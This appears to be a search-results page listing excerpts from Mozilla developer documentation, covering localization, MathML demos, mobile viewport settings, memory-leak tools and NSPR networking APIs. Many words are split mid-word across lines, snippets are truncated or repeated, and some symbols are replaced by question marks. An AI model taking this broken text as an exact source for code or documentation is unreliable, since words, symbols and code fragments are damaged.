ipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, astoreversion) revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) c...
...date, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm) geticon: function(adata, amm) getall: function(acallback) isrece
ipt: function(data) addrece
ipt: function(adata, amm) removerece
ipt: function(adata, amm) replacerece
ipt: function(adata, amm) setenabled: function(adata) getmanifestfor: function(amanifesturl, aentrypoint) getappbymanifesturl: function(amanifesturl) getfullappbymanifesturl: function(amanifesturl, aentrypoint, alang) getmanifestcspbylocalid: function(alocalid) getdefaultcspbylocalid: functio...
Index
4 encodings for localization files internationalization, localization when creating a localization for mozilla products, it's important to be aware of the encoding of the files that you generate. 5 index localization found 42 pages: 6 l10n checks internationalization, localization, localization:tools, tools l10n checks is a python scr
ipt and library similar to compare-locales. it allows mozilla localizers to easily check their work. 7 l10n testing with xcode firefox for ios, localization once you have your l10n testing environment set up in xcode, testing your firefox on ios localization is a breeze. 8 localization and plurals internationalization, localization you're likely here because...
...lization technical reviews guide, localization, mozilla this guide provides details on what a localization technical review is, what criteria are used for the technical reviews, and the process for requesting one and following its progress. 19 localization: frequently asked questions faq, guide, internationalization, localization, mozilla this page lists tweaks and t
ips that may not require a complete page on its own. for more detailed documentation about localization in general, see our localization page. 20 localizing xliff files for ios oasis, translate, xliff, xml, ios firefox for ios uses the xliff xml-based file format to hold and transfer localization data. xliff (extensible localisation interchange file format) is a localization sta...
...or corruption. most translation tools support the xliff standard, making localizing the xliff files for firefox for ios easy to do using translation tools. editing the raw xliff file is also rather easy, especially if you're already familiar with xml. this tutorial will walk you through the steps you need to take to translation strings within an xliff file. 21 localizing extension descr
iptions add-ons, extensions, guide, internationalization, localization this article provides details on how to go about localizing the descr
iptions of mozilla add-ons, as well as for other metadata about your add-on. 22 localizing extension metadata on addons.mozilla.org add-ons, extensions, internationalization, localization amo supports localized metadata for each ex...
...urce welcome to the svn tutorial for localizers! here you'll learn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right back to them. first things first, we need to give you a brief introduction to what svn is and where you can find the necessary tools to get started. if you're already familiar with this information, sk
ip ahead to mozilla's svn repositories. 33 uplifting a localization from central to aurora guide, localization, mozilla localizers who are working on l10n-central are responsible for getting their work onto the aurora repository. 34 web localizability internationalization, localizability, localization, web development localizability (or l12y for short) is a ...
Extras
some of the extras in mozilla but not defined in the mathml spec, and not prevented by the spec either. they are not portable and are meant to showcase a few interesting upshots from building natively upon the browser environment. other renderers are expected to ignore attributes that they don't understand while the behavior of undefined elements is well, undefined. ...
...t prevented by the spec either. they are not portable and are meant to showcase a few interesting upshots from building natively upon the browser environment. other renderers are expected to ignore attributes that they don't understand while the behavior of undefined elements is well, undefined. ...
...> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> </p> css content math.cue *[title] { color: blue; } mixing with other markups html content <math display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext> <img width="16" height="16" src="https://udn.realityr
ipple.com/samples/3f/9341cbddc0.png" alt="mozilla-16" /> </mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input value="type" size="4"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <math display="block"> <msqrt> <mpadded width="30px" height="15px" depth="15px" voffset="-15px"> <mtext> <svg width="30px" height="30px"> <defs> <radialgradient id="radgrad1" cx="50%" cy="50...
...dextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>?</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>?</mi> </mrow> </munderover> <mfrac> <msup> <mi>?</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </mfrac> </mrow> </math> </foreignobject> <text>exp(?)</text> </switch> </g> </g> </svg> </div> inline javascr
ipt html content <math display="block"> <mfrac> <mtext id="num">mouse</mtext> <mtext id="denum">over</mtext> </mfrac> </math> javascr
ipt content function whoistherealert(evt) { alert("who is there?"); } function attachlistener(id) { document.getelementbyid(id).addeventlistener("mouseover", whoistherealert); } function init() { attachlistener("num"); attachlistener("denum"); } windo...
MathML Demo: <mo> - operator, fence, separator, or accent
s occur in the context of a simple expression. in general, the lspace and rspace around arrows should be similar to the spacing around relations. there is an issue with the markup of "long" latex arrows in mathml. there are entities from these arrows, ⟵ ⟵ ⟶ etc. but they have no standard unicodes. they can be viewed as stretched versions of short arrows. \longleftarrow can be scr
ipted as <mo>⟵</mo> or as <mo stretchy="true" minsize="1.8">←</mo>. a ? b <- c a ? b <= c a ? b -> c a ? b => c a ? b <-> c a ? b <=> c a ? b ? c a ? b ? c a ? b ? c a ? b ? c a ? b ? c a ? b ? c a ? b ? c ...
...this is especially important for vertical arrows used as fences. the default attributes given in the mathml operator dictionary don't configure vertical arrows as fences. in latex, the lspace on a left side fence delimiter and the rspace on a right side fence delimiter is not 0. here's an example to il...
... be solved using aligned arrays, as follows a b c d a b c d however, all reasonable attempts to fence the column vector will fail because latex fences are symmetric. in mathml, operators that are used for fencing are never symmetric and are always stretchy by default. (i.e., as documented in the suggested operator dictionary). hence <mo symmetric="true"> must be scr
ipted if the intent is to emulated latex fence behavior. the commands \big, \big, \bigg and \bigg produce a discreet set of increasingly taller fences, | 1 + | 2 + | 3 + | 4 + | . | + 5 | + 6 | + 7 | + 8 | . here's the same expression in a display | 1 + | 2 + | 3 + | 4 + | . | + 5 | + 6 | + 7 | + 8 | the size ratio is 3.0 : 2.4 : 1.8 : 1.2. fixed sized fences are ...
....4 : 1.8 : 1.2. fixed sized fences are useful with nested fences as in the following example [ [ a b ] + [ b a ] ] + [ a b ] latex fences that are built into fractions (\binom, etc.) are not stretchy, but they are taller in displays. emulating this behavior in mathml would require a context sensitive transaltion. further, non-stretchy fences aren't usually desirable. hence we scr
ipt binomial fences as stretchy in mathml. some examples of inline fractions ( 8 - 5 8 ) + [ 1 2 ] + ? 1 2 2 ? + ? 1 x y x + 1 ? + | e - 2 ? t ? | with built in fences. same expression in a display. ( 8 - 5 8 ) + [ 1 2 ] + ? 1 2 2 ? + ? 1 x y x + 1 ? + | e - 2 ? t ? | ...
Using the viewport meta tag to control layout on mobile browsers
ents such as low vision. a pixel is not a pixel in recent years, screen resolutions have risen to the size that individual pixels are hard to distinguish with the human eye. for example, recent smartphones generally have a 5-inch screens with resolutions upwards of 1920--1080 pixels (~400 dpi). because of this, many browsers can display their pages in a smaller physical size by translating mult
iple hardware pixels for each css "pixel". initially this caused usability and readability problems on many touch-optimized web sites. peter-paul koch wrote about this problem in a pixel is not a pixel. on high dpi screens, pages with initial-scale=1 will effectively be zoomed by browsers. their text will be smooth and crisp, but their bitmap images will probably not take advantage of the full scre...
...en sizes and orientations. the default pixel ratio depends on the display density. on a display with density less than 200dpi, the ratio is 1.0. on displays with density between 200 and 300dpi, the ratio is 1.5. for displays with density over 300dpi, the ratio is the integer floor(density/150dpi). note that the default ratio is true only when the viewport scale equals 1. otherwise, the relationsh
ip between css pixels and device pixels depends on the current zoom level. viewport width and screen width sites can set their viewport to a specific size. for example, the definition "width=320, initial-scale=1" can be used to fit precisely onto a small phone display in portrait mode. this can cause problems when the browser doesn't render a page at a larger size. to fix this, browsers will expan...
...to a specific size. for example, the definition "width=320, initial-scale=1" can be used to fit precisely onto a small phone display in portrait mode. this can cause problems when the browser doesn't render a page at a larger size. to fix this, browsers will expand the viewport width if necessary to fill the screen at the requested scale. this is especially useful on large-screen devices like the
ipad. (allen pike's choosing a viewport for
ipad sites has a good explanation for web developers.) for pages that set an initial or maximum scale, this means the width property actually translates into a minimum viewport width. for example, if your layout needs at least 500 pixels of width then you can use the following markup. when the screen is more than 500 pixels wide, the browser will expand t...
...ale and width, as well as limiting changes in zoom level. not all mobile browsers handle orientation changes in the same way. for example, mobile safari often just zooms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape. if web developers want their scale settings to remain consistent when switching orientations on the
iphone, they must add a maximum-scale value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users from zooming in: <meta name="viewport" content="initial-scale=1, maximum-scale=1"> suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86. the result is horizontal scroll is suppressed in any orientation and...
Mozilla projects on GitHub
hin the mozilla github organization. this is a great place to start looking for any projects not listed below. projects this listing covers the larger-scale and more important mozilla projects on github. it does not include everything since it's hard to keep track of all the smaller projects. look to github for the most complete list of mozilla projects on github. project name descr
iption pdf.js a portable document format (pdf) reader written entirely in javascr
ipt. shumway shumway is a flash vm and runtime written in javascr
ipt. addon-sdk the mozilla add-on sdk. asknot the what can i do for mozilla web site, which helps you figure out how you can contribute to mozilla. bugsahoy a web page to help new mozilla cont...
... help you get an overview of your bugs. codefirefox the codefirefox site, with videos and tutorials about how to contribute to the firefox project and mozilla code in general. debugger.html the debugger.html, a modern universal js debugger for firefox devtools, node, and every other js environment. dxr an intelligent tool for browsing source code. emscr
ipten the emscr
ipten llvm-to-javascr
ipt compiler. fxdt-adapters the firefox developer tools adapter that lets you debug various remote targets from the firefox developer tools. firefox-dev.tools a web page to help new mozilla contributors find bugs to work on that relate to the firefox developer tools. gecko-dev a read-only mirror of the mercurial repositories ...
...he platform that drives the mozilla support web site, sumo. kuma the django project that powers this site (mdn). mdn code samples for the mdn web site. mozbrick the mozilla brick project. mozilla-b2g the firefox os project. mozilla-appmaker the appmaker project -- a web tool to let non-programmers create apps. mozilla-l10n scr
ipts and tools used by the localization drivers. mozilla-metrics tools used to collect metrics about mozilla code. mozilla-services mozilla cloud services projects. opennews the knight-mozilla open news project, helping the journalism/technology community do great work through shared knowledge and code. pluotsorbet a j2me-compatible virtual machine wri...
...ed by the localization drivers. mozilla-metrics tools used to collect metrics about mozilla code. mozilla-services mozilla cloud services projects. opennews the knight-mozilla open news project, helping the journalism/technology community do great work through shared knowledge and code. pluotsorbet a j2me-compatible virtual machine written in javascr
ipt. rust-lang the rust programming language, designed for safe concurrent code. servo the next-generation rendering engine. ...
BloatView
mber of refcounts. if you find leaks, you can use refcount tracing and balancing to discover the root cause. combining and sorting bloat logs you can view one or more bloat logs in your browser by running the following program. perl tools/bloatview/bloattable.pl log1 log2 ... logn > htmlfile this will produce an html file that contains a table similar to the following (but with added javascr
ipt so you can sort the data by column). byte bloats name file date blank blank.txt tue aug 29 14:17:40 2000 mozilla mozilla.txt tue aug 29 14:18:42 2000 yahoo yahoo.txt tue aug 29 14:19:32 2000 netscape netscape.txt tue aug 29 14:20:14 2000 the numbers do not include malloc 'd data such as string contents. click o...
...% nsframe 47568 -26.15% 48096 -50.49% cssdeclarationimpl 42984 0.67% 43488 0.67% this "delta report" shows the leak offenders, sorted from most leaks to fewest. the delta numbers show the percentage change between runs for the amount of leaks and amount of bloat (negative numbers are better!). the bloat number is a metric determined by mult
iplying the total number of objects allocated of a given class by the class size. note that although this isn't necessarily the amount of memory consumed at any given time, it does give an indication of how much memory we're consuming. the more memory in general, the worse the performance and footprint. the percentage 99999.99% will show up indicating an "infinite" amount of leakage. this happens wh...
... many of the test suites mozilla has running under continuous integration. if a new leak occurs, it will trigger a test job failure. bloatview's output file can also show you where the leaked objects are allocated. ...
...d. to do so, the xpcom_mem_log_classes environment variable should be set to the name of the class from the bloatview table: xpcom_mem_log_classes=myclass mach mochitest [options] mult
iple class names can be specified by setting xpcom_mem_log_classes to a comma-separated list of names: xpcom_mem_log_classes=myclass,myotherclass,deliberatelyleakedclass mach mochitest [options] test harness scr
ipts typically accept a --setenv option for specifying environment variables, which may be more convenient in some cases: mach mochitest --setenv=xpcom_mem_log_classes=myclass [options] for getting allocation stacks in automation, you can add the appropriate --setenv options to the test configurations for the platforms you're interested in. those configurations are located in testing/mozharness/c...
Power profiling overview
intel power governor documentation) shows how machines using recent intel processors are constructed. the important points are as follows. the processor has one or more packages. these are part of the actual processor that you buy from intel. client processors (e.g. core i3/i5/i7) have one package. server processors (e.g. xeon) typically have two or more packages. each package contains mult
iple cores. each core typically has hyper-threading, which means it contains two logical cpus. the part of the package outside the cores is called the uncore or system agent. it includes various components including the l3 cache, memory controller, and, for processors that have one, the integrated gpu. ram is separate from the processor. c-states intel processors have aggressive power-saving f...
...uted. the other states have higher numbers and reflect increasing deeper idle states. the deeper an idle state is, the less power it uses, but the longer it takes to wake up from. note: the acpi standard specifies four states, c0, c1, c2 and c3. intel maps these to processor-specific states such as c0, c1, c2, c6 and c7. and many tools report c-states using the latter names. the exact relationsh
ip is confusing, and chapter 13 of the intel optimization manual has more details. the important thing is that c0 is always the active state, and for the idle states a higher number always means less power consumption. the other thing to note about c-states is that they apply both to cores and the entire package -- i.e. if all cores are idle then the entire package can also become idle, which redu...
..., the gecko profiler takes samples at 1000hz using a timer. each of these samples can trigger a wakeup, which consumes power and obscures firefox's natural wakeup patterns. for this reason, integrating power measurements into the gecko profiler is unlikely to be useful, and other power profiling tools typically use much lower sampling rates (e.g. 1hz.) p-states intel processors also support mult
iple p-states. p0 is the state where the processor is operating at maximum frequency and voltage, and higher-numbered p-states operate at a lower frequency and voltage to reduce power consumption. processors can have dozens of p-states, but the transitions are controlled by the hardware and os and so p-states are of less interest to application developers than c-states. power and power-related meas...
...ng average power limit) interface that provides msrs containing energy consumption estimates for up to four power planes or domains of a machine, as seen in the diagram above. pkg: the entire package. pp0: the cores. pp1: an uncore device, usually the gpu (not available on all processor models.) dram: main memory (not available on all processor models.) the following relationsh
ip holds: pp0 + pp1 <= pkg. dram is independent of the other three domains. these values are computed using a power model that uses processor-internal counts as inputs, and they have been verified as being fairly accurate. they are also updated frequently, at approximately 1,000 hz, though the variability in their update latency means that they are probably only accurate at lower frequencies, e.g. ...
Refcount tracing and balancing
l be generated for only the specific objects that you list. for example, env xpcom_mem_log_classes=nsdocshell xpcom_mem_log_objects=2 xpcom_mem_refcnt_log=./refcounts.log ./mach run will log stack traces to refcounts.log for the 2nd nsdocshell object that gets allocated, and nothing else. post-processing step 1: finding the leakers first you have to figure out which objects leaked. ...
... 0x00253ab0 (1) 0x00253ae0 (2) 0x00253bd0 (4) the number in parentheses indicates the order in which it was allocated, if you care. pick one of these pointers for use with step 2. ...
...can use tools/rb/filter-log.pl to filter the log file to drop the call stack for other objects; this process reduces the size of the log file and also improves the performance. perl -w tools/rb/filter-log.pl --object 0x00253ab0 < ./refcounts.log > my-leak.log linux users the log file generated on linux system often lack function names, file names and line numbers. linux users need to run a scr
ipt to fix the call stack. python tools/rb/fix_stacks.py < ./refcounts.log > fixed_stack.log post-processing step 3: building the balance tree now that you've the log file fully prepared, you can build a balance tree. this process takes all the stack addref() and release() stack traces and munges them into a call graph. each node in the graph represents a call site. each call site has a balance ...
...nced by a release() in main(). hints clearly, this is an iterative and analytical process. here are some tricks that make it easier. check for leaks from smart pointers. if the leak comes from a smart pointer that is logged in the xpcom_mem_comptr_log, then find-comptr-leakers.pl will find the exact stack for you, and you don't have to look at trees. ignore balanced trees. the make-tree.pl scr
ipt accepts an option --ignore-balanced, which tells it not to bother printing out the children of a node whose balance factor is zero. this can help remove some of the clutter from an otherwise noisy tree. ignore matched releases from smart pointers. if you've checked (see above) that the leak wasn't from a smart pointer, you can ignore the references that came from smart pointers (where we can us...
TraceMalloc
gegtk 476 2197708 341 2366564 -135 168856 9.32 nsmemcacherecord 843 45767 2328 124767 1485 79000 4.36 nstextnode 209 11704 1614 90384 1405 78680 4.34 htmlattributesimpl 482 14288 2824 88400 2342 74112 4.09 nsscanner 58 76824 94 146300 36 69476 3.83 nsscr
ipterror 253 25070 842 91548 589 66478 3.67 nshtmldocument.mreferrer 177 21550 691 85460 514 63910 3.53 nshtmlvalue 139 7846 1215 68734 1076 60888 3.36 htmlcontentsink 6 4816 12 57782 6 52966 2.92 uncategorized.pl, which lists all the void* allocations (the ones that couldn't be ...
... 66478 3.67 nshtmldocument.mreferrer 177 21550 691 85460 514 63910 3.53 nshtmlvalue 139 7846 1215 68734 1076 60888 3.36 htmlcontentsink 6 4816 12 57782 6 52966 2.92 uncategorized.pl, which lists all the void* allocations (the ones that couldn't be categorized by type), sorted by size. also, your javascr
ipt can call the following dom window methods: tracemallocdisable() - turn off tracing, first flushing any buffered log events for all log files. tracemallocenable() - turn on tracing. tracemallocopenlogfile(filename) - open a new log file and return its log file descr
iptor (or -1 on error). tracemallocchangelogfd(logfd) - change the current log file to the one identified by logfd, returning th...
...o use the leakstats program to analyze a log for shutdown leaks. it will produce a report like the following. leaks: 382739 bytes, 3465 allocations maximum heap size: 7751799 bytes 62095212 bytes were allocated in 391091 allocations. detecting memory usage growth in a running process to do this, dump the existing allocations to a file by calling the function tracemallocdumpallocations from javascr
ipt. you can use the following web page to do so. <scr
ipt type="text/javascr
ipt"> var filename = window.prompt("filename to log: "); if (filename) tracemallocdumpallocations(filename); </scr
ipt> one can then use the scr
ipt tools/trace-malloc/diffbloatdump.pl to compare trace-malloc dumps before and after doing an action that might leak. if there are significant differences, it might b...
...other documentation some older documentation about tracemalloc is here. ...
Localization Use Cases
to be stored in the browserbrandshortname entity, we can't modify it. the work-around is to inflect an auxiliary noun complement, e.g. browser, to give about the firefox browser. needless to say, this ends up being long and often unnaturally-sounding to the native speakers. about-browser=o brskalniku {{browserbrandshortname}} solution in l20n, this problem can be easily solved by defining mult
iple variants of the browserbrandshortname entity, to match different grammatical cases of the noun. in shared/branding/official/branding, we can define browserbrandshortname as: <browserbrandshortname{ nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental:"firefoxom" }> and in shared/branding/unofficial/branding, w...
... its about preposition: <aboutbrowser "o {{ browserbrandshortname.locative }}"> for the official branding, we get: o firefoxu and for the unofficial branding, we end up with: o brskalniku genders in the system app's apps/system/locales/system, there's a string called crash-banner-os2. crash-banner-os2={{brandshortname}} just crashed. problem definition in some languages, past partic
iples (crashed) must be accorded with the gender of the subject (in case of reflexive verbs) or the gender of the object. in polish, the grammatical form of crashed depends on the gender of brandshortname. in order to construct a grammatically-correct and naturally-sounding message, we must know the gender of the subject. solution in l20n, the localizer can define the gender (or, in fact, any arb...
...e english string could be as simple as: <availablesize "{{ $size }} {{ $unit }} available"> on the other hand, the italian translation would make use of proper pluralization rules: <plural($n) { $n == 1 ? "one" : "other" }> <availablesize[plural($size)] { one: "{{ $size }} {{ $unit }} disponibile", other: "{{ $size }} {{ $unit }} disponibili" }> so far, so good. the javascr
ipt code hasn't changed yet, but there's another improvement that can be introduced, which is described below. asymmetry the example above could benefit from another of l20n's features: local variables. in l20n, localization files can be asymmetrical and have more entities that the source language. you'll notice that devicestoragehelper.showformatedsize passes a localized name of the unit to avai...
...-kb = kb byteunit-mb = mb byteunit-gb = gb byteunit-tb = tb for example in french, the unit abbreviations are as follows: byteunit-b = o byteunit-kb = ko byteunit-mb = mo byteunit-gb = go byteunit-tb = to solution in l20n, the french localizer could provide the translation of unit abbreviations locally in the localization file, without impacting the english localization file. in the javascr
ipt code, the developer needs to pass sizeinfo.unit instead of a localized value: function showformatedsize(element, l10nid, size) { // ... element.textcontent = document.l10n.get(l10nid, { size: sizeinfo.size, unit: sizeinfo.unit }); } and then use the $unit variable verbatim in the english message: <availablesize "{{ $size }} {{ $unit }} available"> in french, the localizer can...
Leak And Bloat Tests
ll run the tests and produce some result files. see debugging memory leaks for more information on what to do with this data. todo: add more information on processing output. ...
...hat to do with this data. todo: add more information on processing output. ...
... 08/04/2008: ...
... ...
About NSPR
ightly augmented bsd sockets model that allows arbitrary layering. it was originally intended to export synchronous i/o methods only, relying on threads to provide the concurrency needed for complex applications. that method of operation is preferred though it is possible to configure the network i/o channels as non-blocking in the traditional sense. network addresses part of nspr deals with man
ipulation of network addresses. nspr defines a network address object that is internet protocol (
ip) centric. while the object is not declared as opaque, the api provides methods that allow and encourage clients to treat the addresses as polymorphic items. the goal in this area is to provide a migration path between
ipv4 and
ipv6. to that end it is possible to perform translations of ascii strings (...
... time timing facilities are available in two forms: interval timing and calendar functions. ...
... time timing facilities are available in two forms: interval timing and calendar functions. interval timers are based on a free running, 32-bit, platform dependent resolution timer. ...
...ims that call immediately into the host operating system's offerings. linking support for linking (shared library loading and unloading) is part of nspr's feature set. in most cases this is simply a smoothing over of the facilities offered by the various platform providers. where it's headed nspr is applicable as a platform on which to write threaded applications that need to be ported to mult
iple platforms. the current implementation supports macintosh (ppc), win-32 (winnt, win9x) and 20 versions of unix and is still expanding. the basic api is stable and expected to remain that way. nspr is functionally complete and has entered a mode of sustaining engineering. as operating system vendors issue new releases of their operating systems, nspr will be moved forward to these new releases b...
NSPR release procedure
release checklist change the nspr version in mozilla/nsprpub/pr/include/prinit.h. change the nspr version in mozilla/nsprpub/{configure.in,configure}. change the nspr version in mozilla/nsprpub/pr/tests/vercheck.c. change the nspr version in mozilla/nsprpub/admin/repackage.sh. ...
...nit.h. change the nspr version in mozilla/nsprpub/{configure.in,configure}. change the nspr version in mozilla/nsprpub/pr/tests/vercheck.c. change the nspr version in mozilla/nsprpub/admin/repackage.sh. source tarball binary distributions right now i use the mozilla/nsprpub/admin/repackage.sh scr
ipt to generate the binary distributions published on ftp.mozilla.org. as the name of the shell scr
ipt implies, repackage.sh merely repackages binary distributions in a different format. before you run repackage.sh, you need to have built the binary distributions using the "gmake release" makefile target. these binary distributions are jar files, which are really z
ip files, and they are published in the directory /share/builds/components. this design comes from the netscape days. the repackage.sh...
...plies, repackage.sh merely repackages binary distributions in a different format. before you run repackage.sh, you need to have built the binary distributions using the "gmake release" makefile target. these binary distributions are jar files, which are really z
ip files, and they are published in the directory /share/builds/components. this design comes from the netscape days. the repackage.sh scr
ipt repackages the jar files into the form most commonly used on that platform. so on unix it repackages the jar files into gz
ipped tar files, and on windows it repackages the jar files into z
ip files. edit the repackage.sh scr
ipt to customize it for your environment. after you have run repackage.sh, follow the instructions in to upload the files to ftp.mozilla.org's staging server, so that they eve...
...into z
ip files. edit the repackage.sh scr
ipt to customize it for your environment. after you have run repackage.sh, follow the instructions in to upload the files to ftp.mozilla.org's staging server, so that they eventually show up on ftp.mozilla.org. the host ftp.mozilla.org can be accessed via the ftp, http, and https protocols. we recommend using https://ftp.mozilla.org/. note: for nss, the scr
ipt equivalent to nspr's repackage.sh is /u/robobld/bin/sbsinit/nss/push/buildbindist.sh in the "svbuild" source tree. ...
Optimizing Applications For NSPR
across the platforms it supports. this has proven to be quite challenging, a challenge that was met to a large degree, but there is always room for improvement. the casual client may not encounter a need to know the details of the shortcomings to the level described here, but if and when clients become more sophisticated, these issues will certainly surface. this memo is by no way complete. mult
iplatform do not call any blocking system call from a local thread. the only exception to this rule is the <tt>select()</tt> and <tt>poll()</tt> system calls on unix, both of which nspr has overridden to make sure they are aware of the nspr local threads. in the combined (mxn) model, which includes nt, irix (sprocs), and pthreads-user, the primordial thread is always a local thread. therefore, if...
...pi understands them. but they are not really preemptable, and that can lead to problems, depending on the needs of your application. the mode (blocking or nonblocking) of a socket cannot be changed at will once the socket has been used. also, the new socket created by an <tt>pr_accept()</tt> call on a listening socket inherits the mode of the listening socket, and cannot be changed. a file descr
iptor is not usable after an io operation on it fails with either <tt>pr_io_timeout_error</tt> or <tt>pr_io_interrupt_error</tt>. the only thing you can do is to close the file descr
iptor. see the faq article for more info. there is no current workaround. you must write your program with this restriction in mind. pr_interrupt is implemented except for <tt>pr_connect()</tt>. irix the irix (class...
...ith an invalid pointer to the child. the problem has a solution that will be available soon. digital unix digital unix (aka, osf1) requires the latest patches for the pthreads library. the changes are not evident until one tries to do thread suspension (<tt>pr_suspendall()</tt>) which is in preparation for garbage collection. digital unix is the main platform used for nspr's prototype use of
ipv6. there are some conflicts between the patches needed to use
ipv6 and those needed for pthreads. the
ipv6 kit needs to be applied on a baseline configuration of digital unix v4.0b. linux the pthreads version of linux (which is not the default) uses the same signals that nspr uses to suspend threads in preparation for garbage collection. no solution in hand. os/2 the os/2 port is not func...
...this problem has been resolved and an update will be appearing shortly. ...
PRNetAddr
type used with socket man
ipulation functions to specify a network address. syntax #include <prio.h> union prnetaddr { struct { pruint16 family; char data[14]; } raw; struct { pruint16 family; pruint16 port; pruint32
ip; char pad[8]; } inet; #if defined(_pr_inet6) struct { pruint16 family; pruint16 port; pruint32 flowinfo; pr
ipv6addr
ip; }
ipv6; #endif /* defined(_pr_inet6) */ }; typedef union prnetaddr prnetaddr; fields the structure has the following fields: family address family: pr_af_inet|pr_af_inet6 for raw.family, pr_af_inet for inet.family, pr_af_inet6 for
ipv6.family. data raw address data. port port number of tcp or udp, in network byte order. ...
... pruint16 port; pruint32 flowinfo; pr
ipv6addr
ip; }
ipv6; #endif /* defined(_pr_inet6) */ }; typedef union prnetaddr prnetaddr; fields the structure has the following fields: family address family: pr_af_inet|pr_af_inet6 for raw.family, pr_af_inet for inet.family, pr_af_inet6 for
ipv6.family. data raw address data. port port number of tcp or udp, in network byte order.
ip the actual 32 (for inet.
ip) or 128 (for
ipv6.
ip) bits of
ip address. the inet.
ip field is in network byte order. pad unused. flowinfo routing information. descr
iption the union prnetaddr represents a network address. nspr supports only the internet address family. by default, nspr is built to support only
ipv4, but it's possible to build the nspr library to support both
ipv4 and
ipv6. the...
...ad unused. flowinfo routing information. descr
iption the union prnetaddr represents a network address. nspr supports only the internet address family. by default, nspr is built to support only
ipv4, but it's possible to build the nspr library to support both
ipv4 and
ipv6. therefore, the family field can be pr_af_inet only for default nspr, and can also be pr_af_inet6 if the binary supports
ipv6. prnetaddr is binary-compatible with the socket address structures in the familiar berkeley socket interface, although this fact should not be relied upon. the raw member of the union is equivalent to struct sockaddr, the inet member is equivalent to struct sockaddr_in, and if the binary is built with
ipv6 support, the
ipv6 member is equivalent to struct sockaddr_in6. (note that prnetaddr does...
...valent to struct sockaddr_in, and if the binary is built with
ipv6 support, the
ipv6 member is equivalent to struct sockaddr_in6. (note that prnetaddr does not have the length field that is present in struct sockaddr_in on some unix platforms.) the macros pr_af_inet, pr_af_inet6, pr_inaddr_any, pr_inaddr_loopback are defined if prio.h is included. pr_inaddr_any and pr_inaddr_loopback are special
ipv4 addresses in host byte order, so they must be converted to network byte order before being assigned to the inet.
ip field. ...
PR ImportTCPSocket
imports a native tcp socket into nspr. syntax #include "private/pprio.h" prfiledesc* pr_importtcpsocket(prosfd osfd); parameters the function has the following parameters: osfd the native file descr
iptor for the tcp socket to import. on posix systems, this is an int. on windows, this is a socket. returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly imported native tcp socket. if the import of the native tcp socket failed, null. descr
iption a native tcp socket osfd can be imported into nspr with pr_importtcpsocket. the caller gives up control of the native tcp socket osfd and should use the prfiledesc* returned by pr_importtcpsocket instead. although pr_importtcpsocket is a supporte...
...importtcpsocket. the caller gives up control of the native tcp socket osfd and should use the prfiledesc* returned by pr_importtcpsocket instead. although pr_importtcpsocket is a supported function, it is declared in "private/pprio.h" to stress the fact that this function depends on the internals of the nspr implementation. the caller needs to understand what nspr will do to the native file descr
iptor and make sure that nspr can use the native file descr
iptor successfully. for example, on posix systems, nspr will put the native file descr
iptor (an int) in non-blocking mode by calling fcntl to set the o_nonblock file status flag on the native file descr
iptor, and then nspr will call socket functions such as recv, send, and poll on the native file descr
iptor. the caller must not do anything ...
... warning in theory, code that uses pr_importtcpsocket may break when nspr's implementation changes. ...
... warning in theory, code that uses pr_importtcpsocket may break when nspr's implementation changes. in practice, this is unlikely to happen because nspr's implementation has been stable for years and because of nspr's strong commitment to backward compatibility. ...
PR_InitializeNetAddr
initializes or reinitializes a network address. the storage for the network address structure is allocated by, and remains the responsibility of, the calling client. syntax #include <prnetdb.h> prstatus pr_initializenetaddr( prnetaddrvalue val, pruint16 port, prnetaddr *addr); parameters the function has the following parameters: val the value to be assigned to the
ip address portion of the network address. this must be pr_
ipaddrnull, pr_
ipaddrany, or pr_
ipaddrloopback. port the port number to be assigned in the network address structure. the value is specified in host byte order. addr a pointer to the prnetaddr structure to be man
ipulated. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. this may oc...
... value is specified in host byte order. addr a pointer to the prnetaddr structure to be man
ipulated. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. this may occur, for example, if the value of val is not within the ranges defined by prnetaddrvalue. you can retrieve the reason for the failure by calling pr_geterror. descr
iption pr_initializenetaddr allows the assignment of special network address values and the port number, while also setting the state that indicates the version of the address being used. ...
...ed by prnetaddrvalue. you can retrieve the reason for the failure by calling pr_geterror. descr
iption pr_initializenetaddr allows the assignment of special network address values and the port number, while also setting the state that indicates the version of the address being used. the special network address values are identified by the enum prnetaddrvalue: typedef enum prnetaddrvalue{ pr_
ipaddrnull, pr_
ipaddrany, pr_
ipaddrloopback } prnetaddrvalue; the enum has the following enumerators: pr_
ipaddrnull do not overwrite the
ip address. this allows the caller to change the network address' port number assignment without affecting the host address. pr_
ipaddrany assign logical pr_inaddr_any to
ip address. this wildcard value is typically used to establish a socket on which to...
...} prnetaddrvalue; the enum has the following enumerators: pr_
ipaddrnull do not overwrite the
ip address. this allows the caller to change the network address' port number assignment without affecting the host address. pr_
ipaddrany assign logical pr_inaddr_any to
